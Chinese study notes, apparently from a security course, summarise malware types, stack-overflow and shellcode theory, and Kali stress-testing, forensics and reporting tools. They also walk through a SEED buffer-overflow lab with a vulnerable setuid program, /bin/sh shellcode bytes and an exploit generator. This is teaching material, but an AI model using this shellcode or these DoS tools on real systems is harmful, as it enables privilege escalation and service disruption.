教材学习
第九章教材总结
1.恶意代码定义
恶意代码指的是使计算机按照攻击者的意图执行以达到恶意目标的指令集。首先恶意代码是一组指令集,恶意代码的实现方式可以多种多样,如二进制执行文件、脚本语言代码、宏代码,或是寄生在其他代码或启动扇区中的一段指令流。其次,恶意代码的执行目标是由编写者所决定的,满足他们心理上或利益上的一些需求。典型的攻击目标包括但不局限于:单纯的技术炫耀,或恶作剧、远程控制被攻击主机,使之能为攻击者的傀儡主机,满足其实施跳板攻击或进一步传播恶意代码的需要、窃取私人信息或机密信息、窃取计算、存储、带宽资源、拒绝服务、进行破坏活动。
2.恶意代码的发展趋势
①恶意代码的复杂度和破坏力不断增强
②恶意代码技术的创新越来越频繁
③关注重点从计算机病毒转移到蠕虫和内核级的攻击工具。
3.计算机病毒基本特性
(1)感染性
(2)潜伏性
(3)可触发性
(4)破坏性
(5)衍生性。
4.蠕虫可以选择如下所列的多种不同目标选择算法
电子邮件地址、主机列表、被信任的系统、网络邻居主机、域名服务、通过特定规则任意选择IP目标地址。
5.有效载荷
蠕虫的有效载荷就是附加的攻击代码。蠕虫常常携带的有效载荷包括如下:植入后门、安装分布式拒绝服务攻击代理、组建僵尸网络、执行一个复杂的计算。
6.后门工具能够为攻击者提供多种不同类型的访问通道包括
(1)本地权限提升和本地账号
(2)单个命令的远程执行
(3)远程命令行解释器访问
(4)远程控制GUI
(5)无端口后门
后门工具往往都利用了系统的自启动功能,将自身加入到系统重启机制中。在Windows平台中,后门工具可以利用自启动文件夹、注册表自启动项及预定计划任务这三种主要方法来达到自启动的效果。
7.特洛伊木马
特洛伊木马的命名起源于《荷马史诗》中描述的特洛伊战争。特洛伊木马程序可以用于以下目的:(1)欺骗用户或系统管理员安装特洛伊木马程序,这样木马程序就通过毫无戒备的用户进入到计算机系统中;(2)隐藏在计算机的正常程序中,将自己伪装成看起来属于该系统,使得用户和管理员不会察觉到它的存在,通常与后门工具结合,成为木马后门。命名伪装常用的攻击技巧有混淆文件扩展名,模仿Windows系统文件或服务命名等。攻击软件发布站点可以使得攻击者能够将官方站点上的软件进行木马化,从而使下载者都安装一个植入了恶意代码的版本,能够对成千上万甚至是数百万的用户构成威胁。代码下毒是指攻击者在软件厂商的开发和测试软件的过程中植入一些与软件功能无关的程序逻辑,甚至于恶意代码。
8.僵尸程序与僵尸网络
僵尸网络是在网络蠕虫、特洛伊木马、后门工具等传统恶意代码形态的基础上发展融合而产生的一种新型攻击方式。僵尸网络是指攻击者出于恶意目的,传播僵尸程序控制大量主机,并通过一对多的命令与控制信道所组成的网络。僵尸网络区别于其他攻击方式的基本特性是使用一对多的命令与控制机制,另外,僵尸网络还具有恶意性和网络传播性。
9.Rootkit
Rootkit的定义是一类特洛伊木马后门工具,通过修改现有的操作系统软件,使攻击者获得访问权并隐藏在计算机中。Rootkit需要由众多的功能组件所组成,包括替换操作系统软件用于隐藏自身的恶意程序,实现隐藏性后门访问的后门程序,还有各种辅助工具,这些工具允许攻击者调整那些被替换程序的特征,另外,正是由于Rootkit通常是一个恶意程序工具包,因此被命名为“Root”+“kit”,即用来获得Root后门访问的kit工具包。根据操作系统的分层,Rootkit可以运行在两个不同的层次上,即用户模式和内核模式。
10.攻击者之所以选择对内核动手具有以下几方面原因
首先,由于内核作为操作系统的核心,能够获取更为全面更加真实的底层信息,并对系统有着全面的控制能力,这有助于提升Rootkit的后门控制;其次,一旦控制内核之后,可以通过修改内核使得内核对上层正常程序的信息查询和请求时,返回已经隐藏攻击者信息的虚假情报,这使得用户和管理员即便使用外部的可信应用软件,也无法找出攻击者植入的后门,使用文件完整性检测工具也难以发现被修改的操作系统文件;最后,控制内核有助于Rootkit利用内核权限对抗一些反病毒软件,甚至可以在反病毒软件检测出Rootkit之前就使之无效化。
11.大多数内核模式Rootkit采用如下技术手段
文件和目录隐藏、进程隐藏、网络端口隐藏、混杂模式隐藏、改变执行方向、设备截取和控制。Linux操作系统中利用LKM机制实现的内核模式Rootkit有Adore、Adore-ng、KIS等。在Windows操作系统内核中实现Rootkit也拥有多种技术方法,包括:利用恶意设备驱动程序、修改内存中当前运行的内核、覆盖硬盘上的内核镜像、在虚拟系统中配置一个内核来愚弄用户以及试图在内核级运行用户模式代码。
12.基于虚拟化构建恶意代码分析环境
虚拟化技术可以让实验环境能够按需启动恶意代码的运行平台虚拟机镜像,并支持快速地运行镜像设置和恢复,这将大大提升资源的利用效率,以及恶意代码分析的效率。在进行恶意代码分析时,一定要保证这台包含分析环境的宿主计算机不要连接业务网络和互联网。
13.用于研究的恶意代码自动分析环境
在恶意代码分析网段中,包括了系统主要的四类恶意代码自动化分析组件,分别为静态分析机、动态分析机、网络分析机和综合分析机。
14.网络协议栈监控方法
对于恶意代码的网络行为,除了从恶意代码运行平台本地的网络协议栈进行监控之外,更为全面有效的监控视图是从本地网络上其他一台主机来进行。恶意代码的有些网络行为只有在分析环境符合特定条件下才能够被触发;特定的IRC僵尸程序只有连接到有效地IRC控制服务器上,并接受控制者指令后,才会实施相应的攻击动作。对于这些特定条件才能触发的网络行为,一种解决思路是使用静态分析方法对相应关注的代码段进行细致审查,理解代码中蕴含的网络行为;另一种解决思路是通过构建一个模拟网络,来包含大部分恶意代码通常所使用的网络服务和环境。
15.沙箱技术
沙箱技术提供了受限制的执行环境,使得在沙箱中运行的代码不能够修改用户系统,从而提供了一个用于运行不可信任程序的安全环境。
第十章教材总结
1.软件安全困境三要素
复杂性、可扩展性、连通性。源代码行数是目前衡量软件规模的一个重要度量指标。每千行代码中的bug数量会在5~50个之间。正是现代可扩展软件本身的特性使得安全保证更加困难,首先,很难阻止攻击者和恶意代码以不可预测的扩展方式来入侵软件和系统,其次,分许可扩展性软件的安全性要比分析一个完全不能被更改的软件要困难得多。
2.编译器与调试器的使用
使用C/C++等高级编程语言编写的源码,需要通过编译器和连接器才能生成可直接在操作系统平台上运行的可执行程序代码。而调试器则是程序开发人员在运行时刻调试与分析程序行为的基本工具。对于通常使用的C/C++编程语言,最著名的编译与连接器是GCC,开源的GUN Ansi C/C++编译器,GCC最基本的用法是执行“gcc –c test.c”命令进行源码编译,生成test.o,然后执行“gcc –o test test.o”进行连接,生成test可执行程序,可以使用“gcc test.c –o test”同时完成编译和连接过程。对于处理多个源码文件、包含头文件、引用库文件等多种情况,程序开发人员通常编写或自动生成Makefile,来控制GCC的编译和连接过程。类UNIX平台上进行程序的调试经常使用GDB调试器,GDB调试器提供程序断点管理、执行控制、信息查看等多种类型的功能指令。
3.汇编语言基础知识
汇编语言,尤其是IA32构架下的汇编语言,是理解软件安全漏洞机理,掌握软件渗透攻击代码技术的底层基础。从应用的角度一般将寄存器分为4类,即通用寄存器、段寄存器、控制寄存器和其他寄存器。通用寄存器主要用于普通的算术运算,保存数据、地址、偏移量、计数值等。。段寄存器在IA32构架中是16位的,一般用作段基址寄存器。控制寄存器用来控制处理器的执行流程。其他寄存器中值得关注的是“扩展标志”eflags寄存器,由不同的标志位组成,用于保存指令执行后的状态和控制指令执行流程的标志信息。在IA32构架汇编语言中,又分为Intel和AT&T两种具有很多差异的汇编格式。在类UNIX平台下,通常使用AT&T汇编格式,而在DOS/Windows平台下,则主要使用Intel汇编格式。
4.Linux平台栈溢出攻击技术
Linux平台中的栈溢出攻击按照攻击数据的构造方式不同,主要有NSR、RNS和RS三种模式。在Linux平台中,本地栈溢出攻击,即渗透攻击代码的攻击目标对象是本地的漏洞程序,可以用于特权提升
5.NSR模式
NSR模式主要适用于被溢出的缓冲区变量比较大,足以容纳Shellcode的情况,其攻击数据从低地址到高地址的构造方式是一堆Nop指令之后填充Shellcode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。
6.Linux平台的Shellcode实现技术
Shellcode是一段机器指令,对于我们通常接触的IA32构架平台,Shellcode就是符合Intel 32位指令规范的一串CPU指令,被用于溢出之后改变系统正常流程,转而执行Shellcode以完成渗透测试者的攻击目的,通常是为他提供一个访问系统的本地或远程命令行访问。在Linux操作系统中,程序通过“int 0x80”软中断来执行系统调用,而在Windows操作系统中,则通过核心DLL中提供的API接口来完成系统调用。
7.Linux本地Shellcode实现机制
Linux系统本地Shellcode通常提供的功能就是为攻击者启动一个命令行Shell。在获得汇编语言实现的Shellcode之后,我们可以通过查找Intel opcode指令参考手册,即可获得opcode二进制指令形式的Shellcode。
8.Linux系统中一个最简单的本地Shellcode的产生过程,即Shellcode的通用方法
①先用高级编程语言,通常用C,来编写Shellcode程序
②编译并反汇编调试这个Shellcode程序
③从编译语言代码级别分析程序执行流程
④整理生成的汇编代码,尽量减小它的体积并使它可注入,并通过嵌入C语言进行运行测试和调试
⑤提取汇编代码所对应的opcode二进制指令,创建Shellcode指令数组。在Linux本地Shellcode中,往往还会在运行execve()启动shell之前,调用setreuid(0)将程序运行权限提升至Root用户,这样才能利用本地溢出攻击来提升权限,在执行execve()函数之后还需要执行exit()函数,从而在溢出攻击之后能够使程序正常退出。
9.Windows远程Shellcode
大致过程如下:
①创建一个服务器端socket,并在指定的端口上监听
②通过accept()接受客户端的网络连接
③创建子程序,运行“cmd.exe”,启动命令行
④创建两个管道,命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至cmd.exe的标准输入;然后输出管道将cmd.exe的标准输出连接至服务器端socket的发送(send),通过网络将运行结果反馈给客户端。
Kali视频学习36~38
36:Kali压力测试工具
压力测试通过确定一个系统的瓶颈或者不能接受的性能点,来获得系统能够提供的最大的服务级别的测试。通俗地讲,压力测试是为了测试应用程序的性能会变得不可接受。
Kali下压力测试工具包含VoIP压力测试、Web压力测试、网络压力测试及无线压力测试。
1.Voip压力测试工具
包括iaxflood和inviteflood
2.web压力测试工具
THC-SSL-DOS
借助THC-SSL-DOS攻击工具,任何人都可以把提供SSL安全连接的网站攻击下线,这种攻击方法称为SSL拒绝服务攻击(SSL-DOS)。德国黑客组织发布THC SSL DOS,利用SSL中已知的弱点,迅速耗费服务器资源,与传统DDoS工具不同的是,它不需要任何带宽,只需要一台执行单一攻击的电脑。
漏洞存在于协议的renegotiation过程中,renegotiation被用于浏览器到服务器之间的验证。
3.网络压力测试工具
dhcpig :耗尽DHCP资源池的压力测试
4.ipv6攻击工具包
5.Inundator
6.Macof
可做泛洪攻击
7.Siege
Siege是一个压力测试和评测工具,设计用于Web开发,评估应用在压力下的承受能力,可以根据配置对一个Web站点进行多用户的并发访问,记录每个用户所有请求过程的响应时间,并在一定数量的并发访问下重复进行:
8.T50压力测试
功能强大,且具有独特的数据包注入工具,T50支持*nix系统,可进行多种协议数据包注入,实际上支持15种协议。
9.无线压力测试
包括MDK3和Reaver
37:集数字取证工具
取证镜像工具集
针对镜像文件的取证工具,如mmsstat与mmls等命令。
数字取证套件
38:Kali报告工具与系统服务
1.Dradis
Dradis用于提高安全检测效率的信息共享框架(协作平台)。Dradis提供了一个集中的信息仓库,用于标记我们目前已经做的工作和下一步计划。基于浏览器的在线笔记。
2.keepnote
精简的笔记本软件,特点如下:
富文本格式:彩色字体、内置图片、超链接,能保存网页图片文字等完整内容。
树形分层组织内容,分门别类,一目了然。
全文搜索
综合截图
文件附件
集成的备份和恢复
拼写检查(通过gtkspell)
自动保存
内置的备份和恢复(zip文件存档)
3.媒体捕捉工具Cutycapt
曾经介绍过的工具,将网页内容截成图片保存。
4.Recordmydesktop
屏幕录像工具
5.证据管理
6、MagicTree
是一个面向渗透测试人员的工具,可以帮助攻击者进行数据合并、查询、外部命令执行(比如直接调用nmap)和报告生成。所有数据都会以树形结构存储,非常方便。
7.系统服务介绍
教材实践
SEED实验:缓冲区溢出漏洞实验
在kali上输入命令安装一些用于编译32位C程序sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-dev
输入linux3 ,进入32位linux环境;继续输入/bin/bash 使用bash:
使用命令sudo sysctl -w kernel.randomize_va_space=0 关闭地址空间随机化来随机堆和栈的初始地址
用以下命令设置zsh程序
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
使用命令cd tmp 进入tmp目录使用命令vi stack.c 保存到 /tmp 目录下
代码如下
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
编译stack.c程序,并设置SET-UID,使用如下命令
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
同样把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
输入命令gdb stack进入gdb调试disass main得到shellcode在内存中的地址
地址计算方法:
shellcode保存在 buffer+100 的位置,将100换为十六进制与ffffd3f0相加得到ffffd454,添加到exploit.c的此处“x??x??x??x??“
修改后使用命令gcc -m32 -o exploit exploit.c编译exploit.c程序
先运行攻击程序exploit,再运行漏洞程序stack